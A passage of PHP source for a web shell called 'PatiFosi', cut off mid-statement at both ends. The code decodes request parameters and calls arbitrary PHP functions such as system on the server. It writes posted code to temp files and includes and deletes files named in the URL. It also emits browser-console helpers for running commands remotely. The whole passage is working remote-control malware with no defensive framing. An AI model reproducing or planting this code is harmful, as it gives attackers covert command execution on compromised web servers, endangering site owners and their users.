"28 Mei 2018", "new date"=>"16 Mei 2020");
// sorry for bad code //
// just for fun //
// checked type
if($type){
$typeChecked = "checked";
};
// checked iframe
if($sec){
$cekSec = "checked";
};
// chdir
if($dirGet){
chdir($dirGet);
};
// directory
$dirNow = getcwd();
// button encode
if($enc){
$encButton = 'enc()';
}else{
$encButton = '';
};
// upl dir
if($uplto){
$uplto = $uplto;
}else{
$uplto = $dirNow;
};
// save dir
if($saveto){
$saveto = $saveto;
}else{
$saveto = $dirNow;
};
// input dir
if($inDir){
$inputDir = "
dir | ";
} else {
$Hidinput = "";
};
// codemirror library in mode=edit
if($mode == edit){
$codemirror = "
";
};
// ?mode=api
if($mode == api){
$dirGet = dec($_GET['dir']);
$func = dec($_GET['func']);
$arg = dec($_GET['arg']);
chdir($dirGet);
if (function_exists($func)) {
@die($func($arg));
}else{
echo 'failed';
}
exit;
}
$apiJs = "var dirNow = '$dirNow'; var func; var arg; var login = '$host$sc?$param=$pass'; var api = login+'&mode=api'; var reqDir = api+'&dir='+rev(btoa(dirNow)).replace('=', '-');
clear();
function dir(){
console.log(dirNow);
};
function cd(a){
dirNow = a;
var b = rev(btoa(a)).replace('=', '-');
reqDir = api+'&dir='+b
console.log(dirNow);
};
function go(a){
var xmlhttp = new XMLHttpRequest();
xmlhttp.timeout = 600000;
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
console.log(this.responseText);
}
};
xmlhttp.ontimeout = function (e) {
console.log('time out');
};
xmlhttp.open('GET', a, true);
xmlhttp.send();
};" . '
function clear(){
console.clear();
console.log("%cPatiFosi", "background:#ff6b81; color:#2f3542; font-size:30px; font-family: Arial, Helvetica, sans-serif;");
console.log("dir()\t\t\t\t\t\/\/ show dir now\r\ncd(\"\/www\/html\/tmp\")\t\t\/\/ change dir\r\nrun(\"system\", \"ls\")\t\t\/\/ run command\r\nclear()");
}' . "
function run(f, n){
f = rev(btoa(f)).replace('=', '-');
n = rev(btoa(n)).replace('=', '-');
l = reqDir+'&func='+f+'&arg='+n;
go('//'+l);
};
";
// ?mode=iframe
if($mode == iframe){
die("PatiFosi");
exit;
}
// run code
if($_POST['run']){
$code = $_POST['code'];
if($_POST['tmp']){
$tmp_file = dec($_POST['tmp']);
}else{
$tmp_file = tempnam(sys_get_temp_dir(), '');
};
if(file_put_contents("$tmp_file","$code")){
$tmp_run = " run click here -> $tmp_file";
}else{
$tmp_run = " failed saving tmp -> $tmp_file";
};
};
if($_GET['run']){
$runIn = $_GET['run'];
include "$runIn";
unlink($runIn);
exit;
};
// header html
echo "
PatiFosi
$codemirror
PatiFosi
$host
@
$dirNow
[Home]
";
// mode command
if ($mode == "command") {
$arg2 = htmlspecialchars($arg, ENT_QUOTES, 'UTF-8');
echo "
";
if($type == 'checked'){
echo "var_dump($func($arg));
";
if (function_exists($func)) {
if($sec == 'y'){
ob_start();
@var_dump($func($arg));
$run = ob_get_clean();
echo("
");
} else {
@var_dump($func($arg));
}
}
} else {
if (function_exists($func)) {
if($sec == 'y'){
ob_start();
echo($func($arg));
$run = ob_get_clean();
echo "echo($func($arg));
";
echo("");
} else {
echo "die($func($arg));
";
@die($func($arg));
}
}
}
// mode edit
} elseif ($mode == "edit") {
$arg2 = htmlspecialchars($arg, ENT_QUOTES, 'UTF-8');
echo "